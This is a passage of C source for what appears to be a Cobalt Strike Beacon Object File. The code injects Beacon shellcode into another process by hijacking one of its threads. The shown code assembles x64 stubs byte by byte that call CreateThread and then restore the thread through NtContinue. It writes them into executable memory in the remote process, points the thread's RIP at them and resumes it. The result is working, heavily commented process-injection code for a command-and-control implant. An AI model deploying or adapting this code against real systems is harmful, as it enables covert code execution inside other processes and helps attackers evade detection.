166 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Wrote Beacon shellcode to the remote process!\n");
167 |
168 | // Create shellcode for CreateThread routine to be executed in the remote buffer via the hijacked thread
169 | BYTE createThread[64] = { NULL };
170 |
171 | // Casting shellcode address to LPTHREAD_START_ROUTINE function pointer
172 | LPTHREAD_START_ROUTINE threadCast = (LPTHREAD_START_ROUTINE)placeRemotely;
173 |
174 | // Counter for array indexing
175 | int z = 0;
176 |
177 | // __fastcall calling convention: RCX = LPSECURITY_ATTRIBUTES (NULL), RDX = dwStackSize (0), R8 = LPTHREAD_START_ROUTINE (shellcode address), R9 = lpParameter (NULL)
178 | // RSP + 20h = dwCreationFlags (0), RSP + 28h = lpThreadId (NULL)
179 |
180 | // xor rcx, rcx
181 | createThread[z++] = 0x48;
182 | createThread[z++] = 0x31;
183 | createThread[z++] = 0xc9;
184 |
185 | // xor rdx, rdx
186 | createThread[z++] = 0x48;
187 | createThread[z++] = 0x31;
188 | createThread[z++] = 0xd2;
189 |
190 | // mov r8, LPTHREAD_START_ROUTINE
191 | createThread[z++] = 0x49;
192 | createThread[z++] = 0xb8;
193 | mycopy(createThread + z, &threadCast, sizeof(threadCast));
194 | z += sizeof(threadCast);
195 |
196 | // xor r9, r9
197 | createThread[z++] = 0x4d;
198 | createThread[z++] = 0x31;
199 | createThread[z++] = 0xc9;
200 |
201 | // mov [rsp+20h], r9 (which already contains 0)
202 | createThread[z++] = 0x4c;
203 | createThread[z++] = 0x89;
204 | createThread[z++] = 0x4c;
205 | createThread[z++] = 0x24;
206 | createThread[z++] = 0x20;
207 |
208 | // mov [rsp+28h], r9 (which already contains 0)
209 | createThread[z++] = 0x4c;
210 | createThread[z++] = 0x89;
211 | createThread[z++] = 0x4c;
212 | createThread[z++] = 0x24;
213 | createThread[z++] = 0x28;
214 |
215 | // Resolve the address of CreateThread
216 | unsigned long long createthreadAddress = KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("kernel32"), "CreateThread");
217 |
218 | // Error handling
219 | if (createthreadAddress == NULL)
220 | {
221 | BeaconPrintf(CALLBACK_ERROR, "Error! Unable to resolve CreateThread. Error: 0x%lx\n", KERNEL32$GetLastError());
222 | }
223 | else
224 | {
225 | // mov rax, CreateThread
226 | createThread[z++] = 0x48;
227 | createThread[z++] = 0xb8;
228 | mycopy(createThread + z, &createthreadAddress, sizeof(createthreadAddress));
229 | z += sizeof(createthreadAddress);
230 |
231 | // call rax (call CreateThread)
232 | createThread[z++] = 0xff;
233 | createThread[z++] = 0xd0;
234 |
235 | // Return to the caller in order to kick off NtContinue routine
236 | createThread[z++] = 0xc3;
237 |
238 | // NtContinue is invoked locally, not remotely - Need to create NtContinue routine to be carried to the hijacked thread for thread restoration
239 | // Since the CONTEXT record for the hijacked thread was obtained remotely, it needs to be embedded into the NtContinue routine, as the address space from the Beacon process is not visible to the remote process
240 |
241 | // Create byte array for NtContinue routine, counter, and stack alignment routine byte array
242 | BYTE ntContinue[64] = { NULL };
243 | int i = 0;
244 | BYTE stackAlignment[4] = { NULL };
245 |
246 | // First calculate the size of a CONTEXT record and NtContinue routine
247 | // Then, "jump over shellcode" by calling the buffer at an offset of the calculation (64 bytes + CONTEXT size)
248 |
249 | // 0xe8 is a near call, which uses RIP as the base address for RVA calculations and dynamically adds the offset specified by shellcodeOffset
250 | ntContinue[i++] = 0xe8;
251 |
252 | // Subtracting to compensate for the near call opcode (represented by i) and the DWORD used for relative addressing
253 | DWORD shellcodeOffset = sizeof(ntContinue) + sizeof(CONTEXT) - sizeof(DWORD) - i;
254 | mycopy(ntContinue + i, &shellcodeOffset, sizeof(shellcodeOffset));
255 |
256 | // Update counter with location buffer can be written to
257 | i += sizeof(shellcodeOffset);
258 |
259 | // Near call instruction to call the address directly after, which is used to pop the pushed return address onto the stack with a RVA from the same page (call pushes return address onto the stack)
260 | ntContinue[i++] = 0xe8;
261 | ntContinue[i++] = 0x00;
262 | ntContinue[i++] = 0x00;
263 | ntContinue[i++] = 0x00;
264 | ntContinue[i++] = 0x00;
265 |
266 | // The previous call instruction pushes a return address onto the stack
267 | // The return address will be the address, in memory, of the upcoming pop rcx instruction
268 | // Since current execution is no longer at the beginning of the ntContinue routine, the distance to the CONTEXT record is no longer 64-bytes
269 | // The address of the pop rcx instruction will be used as the base for RVA calculations to determine the distance between the value in RCX (which will be the address of the 'pop rcx' instruction) to the CONTEXT record
270 | // Obtaining the current amount of bytes executed thus far
271 | int contextOffset = i;
272 |
273 | // __fastcall calling convention
274 | // NtContinue requires a pointer to a context record and an alert state (FALSE in this case)
275 | // pop rcx (get return address, which isn't needed for anything, into RCX for RVA calculations)
276 | ntContinue[i++] = 0x59;
277 |
278 | // The address of the pop rcx instruction is now in RCX
279 | // Adding the distance between the CONTEXT record and the current address in RCX
280 | // add rcx, distance to CONTEXT record
281 | ntContinue[i++] = 0x48;
282 | ntContinue[i++] = 0x83;
283 | ntContinue[i++] = 0xc1;
284 |
285 | // Value to be added to RCX
286 | // The distance between the value in RCX (address of the 'pop rcx' instruction) and the CONTEXT record can be found by subtracting the amount of bytes executed up until the 'pop rcx' instruction and the original 64-byte offset
287 | ntContinue[i++] = sizeof(ntContinue) - contextOffset;
288 |
289 | // xor rdx, rdx
290 | // Set to FALSE
291 | ntContinue[i++] = 0x48;
292 | ntContinue[i++] = 0x31;
293 | ntContinue[i++] = 0xd2;
294 |
295 | // Place NtContinue into RAX
296 | ntContinue[i++] = 0x48;
297 | ntContinue[i++] = 0xb8;
298 |
299 | // Although the thread is in a remote process, the Windows DLLs mapped to the Beacon process, although private, will correlate to the same virtual address
300 | unsigned long long ntcontinueAddress = KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("ntdll"), "NtContinue");
301 |
302 | // Error handling. If NtContinue cannot be resolved, abort
303 | if (ntcontinueAddress == NULL)
304 | {
305 | BeaconPrintf(CALLBACK_ERROR, "Error! Unable to resolve NtContinue.\n", KERNEL32$GetLastError());
306 | }
307 | else
308 | {
309 | // Copy the address of NtContinue function address to the NtContinue routine buffer
310 | mycopy(ntContinue + i, &ntcontinueAddress, sizeof(ntcontinueAddress));
311 |
312 | // Update the counter with the correct offset the next bytes should be written to
313 | i += sizeof(ntcontinueAddress);
314 |
315 | // Allocate some space on the stack for the call to NtContinue
316 | // sub rsp, 0x20
317 | ntContinue[i++] = 0x48;
318 | ntContinue[i++] = 0x83;
319 | ntContinue[i++] = 0xec;
320 | ntContinue[i++] = 0x20;
321 |
322 | // call NtContinue
323 | ntContinue[i++] = 0xff;
324 | ntContinue[i++] = 0xd0;
325 |
326 | // Create 4 byte buffer to perform bitwise AND with RSP to ensure 16-byte aligned stack for the call to shellcode
327 | // and rsp, 0FFFFFFFFFFFFFFF0
328 | stackAlignment[0] = 0x48;
329 | stackAlignment[1] = 0x83;
330 | stackAlignment[2] = 0xe4;
331 | stackAlignment[3] = 0xf0;
332 |
333 | // Allocating memory for final buffer
334 | // Size of NtContinue routine, CONTEXT structure, stack alignment routine, and CreateThread routine
335 | PVOID shellcodeFinal = (PVOID)MSVCRT$malloc(sizeof(ntContinue) + sizeof(CONTEXT) + sizeof(stackAlignment) + sizeof(createThread));
336 |
337 | // Copy NtContinue routine to final buffer
338 | mycopy(shellcodeFinal, ntContinue, sizeof(ntContinue));
339 |
340 | // Copying CONTEXT structure, stack alignment routine, and CreateThread routine to the final buffer
341 | // Allocation is already a pointer (PVOID) - casting to a DWORD64 type, a 64-bit address, in order to write to the buffer at a desired offset
342 | // Using RtlMoveMemory for the CONTEXT structure to avoid casting to something other than a CONTEXT structure
343 | NTDLL$RtlMoveMemory((DWORD64)shellcodeFinal + sizeof(ntContinue), &cpuRegisters, sizeof(CONTEXT));
344 | mycopy((DWORD64)shellcodeFinal + sizeof(ntContinue) + sizeof(CONTEXT), stackAlignment, sizeof(stackAlignment));
345 | mycopy((DWORD64)shellcodeFinal + sizeof(ntContinue) + sizeof(CONTEXT) + sizeof(stackAlignment), createThread, sizeof(createThread));
346 |
347 | // Declare a variable to represent the final length
348 | int finalLength = (int)sizeof(ntContinue) + (int)sizeof(CONTEXT) + sizeof(stackAlignment) + sizeof(createThread);
349 |
350 | // Inject the shellcode into the target process with read/write permissions
351 | PVOID allocateMemory = KERNEL32$VirtualAllocEx(
352 | processHandle,
353 | NULL,
354 | finalLength,
355 | MEM_RESERVE | MEM_COMMIT,
356 | PAGE_EXECUTE_READWRITE
357 | );
358 |
359 | if (allocateMemory == NULL)
360 | {
361 | BeaconPrintf(CALLBACK_ERROR, "Error! Unable to allocate memory in the remote process. Error: 0x%lx\n", KERNEL32$GetLastError());
362 | }
363 | else
364 | {
365 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Virtual memory for CreateThread and NtContinue routines allocated at 0x%llx inside of the remote process!\n", allocateMemory);
366 |
367 | // Write shellcode to the new allocation
368 | BOOL writeMemory = KERNEL32$WriteProcessMemory(
369 | processHandle,
370 | allocateMemory,
371 | shellcodeFinal,
372 | finalLength,
373 | NULL
374 | );
375 |
376 | if (!writeMemory)
377 | {
378 | BeaconPrintf(CALLBACK_ERROR, "Error! Unable to write memory to the buffer. Error: 0x%llx\n", KERNEL32$GetLastError());
379 | }
380 | else
381 | {
382 |
383 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Size of NtContinue routine: %lu bytes\n[+] Size of CONTEXT structure: %lu bytes\n[+] Size of stack alignment routine: %d\n[+] Size of CreateThread routine: %lu\n[+] Size of shellcode: %d bytes\n", sizeof(ntContinue), sizeof(CONTEXT), sizeof(stackAlignment), sizeof(createThread), payloadSize);
384 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Wrote payload to buffer inside previously allocated buffer!\n");
385 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Current RIP: 0x%llx\n", cpuRegisters.Rip);
386 |
387 | // Allocate stack space by subtracting the stack by 0x2000 bytes
388 | cpuRegisters.Rsp -= 0x2000;
389 |
390 | // Change RIP to point to our shellcode and typecast buffer to a DWORD64 because that is what a CONTEXT structure uses
391 | cpuRegisters.Rip = (DWORD64)allocateMemory;
392 |
393 | // Set RIP
394 | BOOL setRip = KERNEL32$SetThreadContext(
395 | desiredThread,
396 | &cpuRegisters
397 | );
398 |
399 | // Error handling
400 | if (!setRip)
401 | {
402 | BeaconPrintf(CALLBACK_ERROR, "Error! Unable to set the target thread's RIP register. Error: 0x%lx\n", KERNEL32$GetLastError());
403 | }
404 | else
405 | {
406 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully pointed the target thread's RIP register to the shellcode!\n");
407 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Current RIP: 0x%llx\n", cpuRegisters.Rip);
408 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Resuming the thread! Please wait for the Beacon payload to execute. This could take some time...\n");
409 |
410 | // Call to ResumeThread()
411 | DWORD resume = KERNEL32$ResumeThread(
412 | desiredThread
413 | );
414 |
415 | // Free the buffer used for the whole payload
416 | MSVCRT$free(
417 | shellcodeFinal
418 | );
419 | }
420 | }
421 | }
422 | }
423 | }
424 | }
425 | }
426 | }
427 |
428 | // Close handle
429 | KERNEL32$CloseHandle(
430 | desiredThread
431 | );
432 | }
433 |
434 | // Close handle
435 | KERNEL32$CloseHandle(
436 | processHandle
437 | );
438 | }
439 |
--------------------------------------------------------------------------------